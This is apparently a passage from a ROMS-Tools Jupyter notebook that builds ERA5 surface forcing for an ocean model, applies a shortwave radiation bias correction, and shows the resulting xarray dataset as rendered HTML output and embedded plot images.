ugqWawGOGtTGxbBmRSITly40Yx3g8TkdHB/v27WPhwoX48bO29JckySY2sZGN9NPP9tJfkCCrWU0ffZzESeMW3zgdtr2KymY2AyeGC9rEy4huPTMjwUVg4mvbnNjnjPFi0sWiZ1lsPZ5YnDymg2BpxLJly/D5fPzwhz8kGAzyjW98gwsvvJB7772XBQsWVKx7jBjnl/4Oc5gNbGATm0iS5PXSXyedZXHZSedxL9+Jvu3f4R3SpIkQYTGLTwirInhdXCYDr3SOx3jSlFh8/fXX6e3tJRwOE4lECIfDhMPhMYsOXde9otyTgHnS9jITJ4cTXbDUQ1EUBgYGaGtrKyetmWLG7/eze/duFi9ebPvdWcziCq7gMi5jD3vYyEa2spVBBnmm9Def+eX4xhDN9zWfDkLddEGb7f1OFLwuLq1HkiQKhQJHjx4lk8mQTqc5fPjwZC/W+CKIxjDR8/BoTix2dnai6zpHjhwhnU6TyWTQNI1gMFghHq1iMhgM1j1Bq6qKruueZbHFKIqCJEkn/IXzRGQ6CJZ6yLLM9773PV588cWaz/7iL/6Cj33sY/zTP/1T+ebyG9/4Rs14IiKLS3/Xci3b2MZGNrKb3Rwo/VnjG5ewxHV844me4JIjxw6MrPQ++k4YqyJ4MYsTga7rFAoFMplMWQyaz81B13XWr19fvia3t7dP9mJ7nKA0JRZPOeUU4vF4+bWu6+RyuZod9dixY2QyGbLZLKIoEgqFKoSkOZiWLU8sthYvuWXymM5iEeD888/n/PPPr3m/vb2dj33sY/z4xz/mjjvuQNM0vvKVrxAIBAB74ejHT1/pL0GCTWxiAxs4whG2lf5ChMrxjfOY1zC+8UTf9mZ7vx56mMOcyV6cpvBiFpvH9LxVC8BsNlu+3qqqit/vL4vBUCjE3LlziUQiBINBnnrqKS688EJCIcMSn0gkJnmtxhsvZrFVHJdiEASBUChEKBSiq6u2XpqqqmSz2YodPZlM0t/fTyaTKdeAevLJJysEpfncnLbnLh1fvLI5k8eJLliOh0996lNcc801fPSjH2Xnzp184hOf4NZbb+VrX/tajZWsWjzGiXNB6a+f/nJ8Y4oUr5X+uugqxzd20FEz/xN925u1Fdeydkq397PDc0PXYhpbzGtk9aNVDFqvjz09PSxcuLD8utGNvyzLFAqFslj08BgrE2pekiSJaDRKNBq1/fzIkSO89dZbrF27tnyApFKpcoxFLpdD13WCwWCNgLQOfr//hL4ItBpPLE4eJ7pgOR5EUeSv//qv+fSnP82qVav43ve+x4EDB/jud7/LV77ylYpx77zzTltrI8Ds0p8Z37iBDWxnOwMM8HTpbyELWctaTuVUghjxkyfyth9mmL3sBQyxeKIxExNcisUi2WzWdjBFoa7rBAKBCiOJmRdgvnc8nrdpn+TixSy2jEn1RaqqSiAQoLe31/Zzq5vbepCZYjKbzVIsFsuubnMwxaV18Pl8J+yFYrzxxOLkcSILlvHgzDPP5Otf/zq//OUvue666wC44oor+NKXvlTjQTCtjfVEo4TEktJfnjzb2MYGNrCHPewr/T3EQ6xgBWtZy1mcdcJue9OquIhFtNF2QsUrwvSzLBaLxbJVMJvNVjw3BzM23LwGma7i7u7u8utgMDih52Kv1qLHeDGpYtGpbI7VzV0PRVEqDlDzoB0ZGSm/tgrKYDBYFpPWR3OYCS5vTyxOHjNdLAKcffbZnH322eXXl11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"text/plain": [ "<Figure size 1300x700 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "surface_forcing.plot(\"swrad\", time=15)" ] }, { "cell_type": "markdown", "id": "aa7400b1-5355-47a9-9950-11272f2ed1e3", "metadata": {}, "source": [ "### Shortwave radiation correction" ] }, { "cell_type": "markdown", "id": "17597bc0-a448-4008-b302-776eb51c9e85", "metadata": {}, "source": [ "There is a consensus that global data products such as ERA5 have biases in radiation due to uncertain cloud-radiative feedbacks. `ROMS-Tools` has the ability to correct for these biases. If `correct_radiation = True`, a multiplicative correction factor is applied to the ERA5 shortwave radiation. The correction factors have been pre-computed based on how much the ERA5 climatology differs from the COREv2 climatology." ] }, { "cell_type": "code", "execution_count": 10, "id": "565c61d3-bf09-45b1-abf4-99d57e1c0c6f", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 2min 13s, sys: 174 ms, total: 2min 13s\n", "Wall time: 2.93 s\n" ] } ], "source": [ "%%time\n", "corrected_surface_forcing = SurfaceForcing(\n", " grid=grid,\n", " start_time=start_time,\n", " end_time=end_time,\n", " source={\"name\": \"ERA5\", \"path\": path},\n", " type=\"physics\",\n", " correct_radiation=True, # default is False\n", " use_dask=True,\n", ")" ] }, { "cell_type": "code", "execution_count": 11, "id": "86e31fbd-d269-4e25-a908-f9e5d9a034ee", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/html": [ "<div><svg style=\"position: absolute; width: 0; height: 0; overflow: hidden\">\n", "<defs>\n", "<symbol id=\"icon-database\" viewBox=\"0 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display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.Dataset&gt; Size: 147MB\n", "Dimensions: (time: 505, eta_rho: 102, xi_rho: 102)\n", "Coordinates:\n", " abs_time (time) datetime64[ns] 4kB 2012-01-15 ... 2012-02-05\n", " * time (time) float64 4kB 4.397e+03 4.397e+03 ... 4.418e+03 4.418e+03\n", "Dimensions without coordinates: eta_rho, xi_rho\n", "Data variables:\n", " uwnd (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " vwnd (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " swrad (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " lwrad (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " Tair (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " qair (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " rain (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", "Attributes:\n", " title: ROMS surface forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-15 00:00:00\n", " end_time: 2012-02-05 00:00:00\n", " source: ERA5\n", " correct_radiation: True\n", " use_coarse_grid: False\n", " model_reference_date: 2000-01-01 00:00:00\n", " type: physics</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.Dataset</div></div><ul class='xr-sections'><li class='xr-section-item'><input id='section-cf1c927d-d569-4f5e-bbbe-bf9c8125f716' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-cf1c927d-d569-4f5e-bbbe-bf9c8125f716' class='xr-section-summary' title='Expand/collapse section'>Dimensions:</label><div class='xr-section-inline-details'><ul class='xr-dim-list'><li><span class='xr-has-index'>time</span>: 505</li><li><span>eta_rho</span>: 102</li><li><span>xi_rho</span>: 102</li></ul></div><div class='xr-section-details'></div></li><li class='xr-section-item'><input id='section-5344c082-c086-4367-be84-1e36d855d8e6' class='xr-section-summary-in' type='checkbox' checked><label for='section-5344c082-c086-4367-be84-1e36d855d8e6' class='xr-section-summary' >Coordinates: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2012-01-15 ... 2012-02-05</div><input id='attrs-3ca8702d-80b7-43cf-86f3-ea7a4da5a5ed' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-3ca8702d-80b7-43cf-86f3-ea7a4da5a5ed' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-c2dbebb1-b057-480b-91c4-d6ee2f85ce3d' class='xr-var-data-in' type='checkbox'><label for='data-c2dbebb1-b057-480b-91c4-d6ee2f85ce3d' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><pre>array([&#x27;2012-01-15T00:00:00.000000000&#x27;, &#x27;2012-01-15T01:00:00.000000000&#x27;,\n", " &#x27;2012-01-15T02:00:00.000000000&#x27;, ..., &#x27;2012-02-04T22:00:00.000000000&#x27;,\n", " &#x27;2012-02-04T23:00:00.000000000&#x27;, &#x27;2012-02-05T00:00:00.000000000&#x27;],\n", " dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span class='xr-has-index'>time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>4.397e+03 4.397e+03 ... 4.418e+03</div><input id='attrs-da6c64de-85db-4834-b6e2-36a20d21bdca' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-da6c64de-85db-4834-b6e2-36a20d21bdca' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-01c40540-e372-477c-bafe-989223444842' class='xr-var-data-in' type='checkbox'><label for='data-01c40540-e372-477c-bafe-989223444842' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd></dl></div><div class='xr-var-data'><pre>array([4397. , 4397.041667, 4397.083333, ..., 4417.916667, 4417.958333,\n", " 4418. ])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-5f7a3d57-6d79-4c02-8a0a-6cc95c9bf5bd' class='xr-section-summary-in' type='checkbox' checked><label for='section-5f7a3d57-6d79-4c02-8a0a-6cc95c9bf5bd' class='xr-section-summary' >Data variables: <span>(7)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>uwnd</span></div><div class='xr-var-dims'>(time, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-cfba2613-7a9f-44b5-85da-d00eecb1b5e6' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-cfba2613-7a9f-44b5-85da-d00eecb1b5e6' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-c1e18bc2-6e17-43fe-885c-ec79e1b1a3ef' class='xr-var-data-in' type='checkbox'><label for='data-c1e18bc2-6e17-43fe-885c-ec79e1b1a3ef' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>10 meter wind in x-direction</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 153 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td 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for='attrs-4272346e-1758-4b1c-975c-a95543dd3343' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-5bd1e6de-2706-4ae9-8f8f-b4dcdf0a04bd' class='xr-var-data-in' type='checkbox'><label for='data-5bd1e6de-2706-4ae9-8f8f-b4dcdf0a04bd' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>10 meter wind in y-direction</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 153 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"42\" style=\"stroke-width:2\" />\n", " <line x1=\"13\" y1=\"3\" x2=\"13\" y2=\"45\" />\n", " <line x1=\"17\" y1=\"7\" x2=\"17\" y2=\"49\" />\n", " <line x1=\"21\" y1=\"11\" x2=\"21\" y2=\"53\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"56\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"28\" 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class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-30661272-9ac2-4b86-b34b-73351071dd00' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-30661272-9ac2-4b86-b34b-73351071dd00' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-0557e1c9-bcf2-4336-ac43-f8cccf641b52' class='xr-var-data-in' type='checkbox'><label for='data-0557e1c9-bcf2-4336-ac43-f8cccf641b52' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>downward short-wave (solar) radiation</dd><dt><span>units :</span></dt><dd>W/m^2</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> 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:</span></dt><dd>downward long-wave (thermal) radiation</dd><dt><span>units :</span></dt><dd>W/m^2</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 99 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" 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for='data-b18efaa1-2f26-4c4c-8bb3-3297adeaa44f' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>air temperature at 2m</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 99 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"42\" style=\"stroke-width:2\" />\n", " <line x1=\"13\" y1=\"3\" x2=\"13\" y2=\"45\" />\n", " <line x1=\"17\" y1=\"7\" x2=\"17\" y2=\"49\" />\n", " <line x1=\"21\" y1=\"11\" x2=\"21\" y2=\"53\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"56\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"28\" y2=\"60\" />\n", " <line x1=\"32\" y1=\"22\" x2=\"32\" y2=\"64\" />\n", " <line x1=\"35\" y1=\"25\" x2=\"35\" y2=\"68\" />\n", " <line x1=\"39\" y1=\"29\" x2=\"39\" y2=\"71\" />\n", " <line x1=\"43\" y1=\"33\" x2=\"43\" y2=\"75\" />\n", " <line x1=\"47\" y1=\"37\" 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title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-937d851d-efd7-470f-9acb-8098b96de9d8' class='xr-var-data-in' type='checkbox'><label for='data-937d851d-efd7-470f-9acb-8098b96de9d8' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>absolute humidity at 2m</dd><dt><span>units :</span></dt><dd>kg/kg</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 150 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"42\" style=\"stroke-width:2\" />\n", " <line x1=\"13\" y1=\"3\" x2=\"13\" y2=\"45\" />\n", " <line x1=\"17\" y1=\"7\" x2=\"17\" y2=\"49\" />\n", " <line x1=\"21\" y1=\"11\" x2=\"21\" y2=\"53\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"56\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"28\" y2=\"60\" />\n", " <line x1=\"32\" y1=\"22\" x2=\"32\" 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102, 102), meta=np.ndarray&gt;</div><input id='attrs-d75dc9e2-4cfe-482f-a6f7-4dbc792b9693' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-d75dc9e2-4cfe-482f-a6f7-4dbc792b9693' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-9e95c328-c91a-4a92-8ab3-ec2c08dfbf05' class='xr-var-data-in' type='checkbox'><label for='data-9e95c328-c91a-4a92-8ab3-ec2c08dfbf05' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>total precipitation</dd><dt><span>units :</span></dt><dd>cm/day</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 99 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"42\" style=\"stroke-width:2\" />\n", " <line x1=\"13\" y1=\"3\" x2=\"13\" y2=\"45\" />\n", " <line x1=\"17\" y1=\"7\" x2=\"17\" y2=\"49\" />\n", " <line x1=\"21\" y1=\"11\" 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<line x1=\"80\" y1=\"70\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", " <line x1=\"122\" y1=\"70\" x2=\"122\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"80.58823529411765,70.58823529411765 122.63965770603622,70.58823529411765 122.63965770603622,112.63965770603622 80.58823529411765,112.63965770603622\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"101.613947\" y=\"132.639658\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"142.639658\" y=\"91.613947\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,142.639658,91.613947)\">102</text>\n", " <text x=\"35.294118\" y=\"97.345540\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,35.294118,97.345540)\">505</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li></ul></div></li><li class='xr-section-item'><input id='section-7ce56811-9d07-4745-b54d-1ebcbc344954' class='xr-section-summary-in' type='checkbox' ><label for='section-7ce56811-9d07-4745-b54d-1ebcbc344954' class='xr-section-summary' >Indexes: <span>(1)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-index-name'><div>time</div></div><div class='xr-index-preview'>PandasIndex</div><div></div><input id='index-bef99ff4-6d29-4512-8983-4ac3bd37e0a3' class='xr-index-data-in' type='checkbox'/><label for='index-bef99ff4-6d29-4512-8983-4ac3bd37e0a3' title='Show/Hide index repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-index-data'><pre>PandasIndex(Index([ 4397.0, 4397.041666666667, 4397.083333333334,\n", " 4397.125, 4397.166666666667, 4397.208333333334,\n", " 4397.25, 4397.291666666667, 4397.333333333334,\n", " 4397.375,\n", " ...\n", " 4417.625, 4417.666666666667, 4417.708333333333,\n", " 4417.75, 4417.791666666667, 4417.833333333333,\n", " 4417.875, 4417.916666666667, 4417.958333333333,\n", " 4418.0],\n", " dtype=&#x27;float64&#x27;, name=&#x27;time&#x27;, length=505))</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-1d0d6a48-711e-451f-8993-68bc96b9971d' class='xr-section-summary-in' type='checkbox' checked><label for='section-1d0d6a48-711e-451f-8993-68bc96b9971d' class='xr-section-summary' >Attributes: <span>(9)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>title :</span></dt><dd>ROMS surface forcing file created by ROMS-Tools</dd><dt><span>roms_tools_version :</span></dt><dd>0.1.dev138+dirty</dd><dt><span>start_time :</span></dt><dd>2012-01-15 00:00:00</dd><dt><span>end_time :</span></dt><dd>2012-02-05 00:00:00</dd><dt><span>source :</span></dt><dd>ERA5</dd><dt><span>correct_radiation :</span></dt><dd>True</dd><dt><span>use_coarse_grid :</span></dt><dd>False</dd><dt><span>model_reference_date :</span></dt><dd>2000-01-01 00:00:00</dd><dt><span>type :</span></dt><dd>physics</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.Dataset> Size: 147MB\n", "Dimensions: (time: 505, eta_rho: 102, xi_rho: 102)\n", "Coordinates:\n", " abs_time (time) datetime64[ns] 4kB 2012-01-15 ... 2012-02-05\n", " * time (time) float64 4kB 4.397e+03 4.397e+03 ... 4.418e+03 4.418e+03\n", "Dimensions without coordinates: eta_rho, xi_rho\n", "Data variables:\n", " uwnd (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " vwnd (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " swrad (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " lwrad (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " Tair (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " qair (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " rain (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", "Attributes:\n", " title: ROMS surface forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-15 00:00:00\n", " end_time: 2012-02-05 00:00:00\n", " source: ERA5\n", " correct_radiation: True\n", " use_coarse_grid: False\n", " model_reference_date: 2000-01-01 00:00:00\n", " type: physics" ] }, "execution_count": 11, "metadata": {}, "output_type": "execute_result" } ], "source": [ "corrected_surface_forcing.ds" ] }, { "cell_type": "markdown", "id": "8c60351b-6cbc-4a51-b21d-4b1b91b2c7da", "metadata": {}, "source": [ "Here is a plot of the downward short-wave radiation, as before, but now in its corrected version." ] }, { "cell_type": "code", "execution_count": 12, "id": "095d59f0-188a-4d21-b443-260e28744226", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 